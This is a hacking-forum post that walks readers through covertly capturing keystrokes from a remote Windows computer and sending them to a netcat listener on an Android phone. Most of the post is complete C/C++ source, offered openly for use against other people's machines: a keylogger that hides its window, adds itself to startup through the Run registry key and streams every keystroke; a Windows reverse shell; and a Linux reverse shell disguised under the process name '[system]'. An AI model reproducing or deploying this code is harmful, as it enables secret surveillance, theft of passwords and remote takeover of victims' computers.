Do any of you really understand the power behind this ???
Seems like HF is getting short on real hackers
Say for example ....
You want to stream every keystroke pressed on a remote windows computer keyboard . Directly to your android screen...
This can be done very easily
So first you would install a terminal so you can access your android shell..
Then install netcat onto this terminal must be ARM
Iv made a apk add-on for the terminal to make it easy for nubletts
Now you run the netcat server on a open port.. Forward this port past your modem/firewall..
After that all that would be required is a simple windows executable..
Have this executable make a winsock connection to the same IP/Port you have netcat server on..
I will provide a sample c++ program to show how its done..
This c++ code will add itself to startup
Make a winsock connection to your netcat server
Then stream every keyboard keystroke to it.
Give me about 20 minutes and ill post the c++ code
Ohh yeah no root needed
That is if you use the apk version of the netcat server
Code
#include <tchar.h>
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#define DEBUG
#define IP "127.0.0.1"
#define PORT 1301
#define SEND_RELEASE(x) (x==16 || x==17 || x==18)
#define WAIT 6000
SOCKET SOCK;
char BUFFER[256];
void init_socket()
{
WSADATA wsaData;
WSAStartup(0x101, &wsaData);
struct sockaddr_in sock_addr;
int ERR;
memset(BUFFER,0,256);
SOCK = socket(AF_INET, SOCK_STREAM, 0);
sock_addr.sin_port = htons(PORT);
sock_addr.sin_family = AF_INET;
sock_addr.sin_addr.s_addr = inet_addr(IP);
do {
ERR = connect(SOCK,(struct sockaddr*) &sock_addr, sizeof( sock_addr ));
Sleep(WAIT);
} while (ERR == SOCKET_ERROR);
}
void send_bytes(char* buffer)
{
int ERR;
ERR = send(SOCK,BUFFER,strlen(BUFFER),0);
memset(BUFFER,0,256);
if (ERR == 0 || ERR==-1 || ERR == WSAECONNRESET || ERR == WSAECONNABORTED) {
closesocket(SOCK);
WSACleanup();
init_socket();
}
}
int WINAPI WinMain(HINSTANCE Instance, HINSTANCE PreviousInstance, LPSTR CommandLine,int ShowCommand) {
TCHAR exepath[MAX_PATH];
GetModuleFileName(0, exepath, MAX_PATH);
HKEY hKey;
LONG lnRes = RegOpenKeyEx(
HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,KEY_WRITE,
&hKey
);
if( ERROR_SUCCESS == lnRes )
{
lnRes = RegSetValueEx(hKey,
"YourProgramsName",
0,
REG_SZ,
exepath,
strlen(exepath));
}
char Title[256];
int SizeTitle = sizeof( Title );
GetConsoleTitle( Title, SizeTitle );
HWND hWnd = NULL;
while ( NULL == hWnd )
{
hWnd = FindWindow( NULL, Title );
}
ShowWindow( hWnd, SW_HIDE);
unsigned int p;
unsigned char keystate[256];
unsigned char i;
unsigned char j=0;
memset(keystate,0,256);
init_socket();
while (1) {
Sleep(1);
for (i=0; i<250; i++){
p = GetAsyncKeyState(i);
if (p && !keystate[i]) {
keystate[i] = 1;
BUFFER[j]=i;
BUFFER[j+1]=1;
j+=2;
}
else if (!p && keystate[i]) {
keystate[i] = 0;
if (SEND_RELEASE(i)){
BUFFER[j]=i;
BUFFER[j+1]=2;
j+=2;
}
}
}
if (j>=8)
{
send_bytes(BUFFER);
j=0;
}
}
closesocket(SOCK);
WSACleanup();
return 0;
}
And for example you want to hook a remote windows command prompt into your netcat server
Here is a simple C example
Code
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
void main(int argc, char *argv[])
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family = AF_INET;
adik_sin.sin_port = htons(1340);
adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
ExitProcess(0);
}
And if you want to hook a linux OS shell into your netcat server
Here is the simple C code to do it
Code
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
char server[] = "127.0.0.1";
int port = 1340;
char shell[] = "/bin/sh";
char fakename[] = "[system]";
int TIMEOUT = 3;
int main(int arg, char **argv[])
{
int mainsock;
char title[4096] = "";
int x;
again:
mainsock = socket (AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
struct hostent *host = gethostbyname (server);
memcpy (&sin.sin_addr.s_addr, host->h_addr, host->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons (port);
if(connect (mainsock, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
sleep(TIMEOUT);
goto again;
}
setsid();
umask(0);
dup2(mainsock, 0);
dup2(mainsock, 1);
dup2(mainsock, 2);
sprintf(title, "Welcome %s (%s)", getenv("USER"), getenv("HOME"));
chdir(getenv("HOME"));
for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+");
fprintf(stderr, "\n");
fprintf(stderr, "+ %s +\n", title);
for(x = 0; x <= (strlen(title) + 3); x++) fprintf(stderr, "+");
fprintf(stderr, "\n");
execl( shell, fakename,"-i" ,0);
close(mainsock);
return 0;
}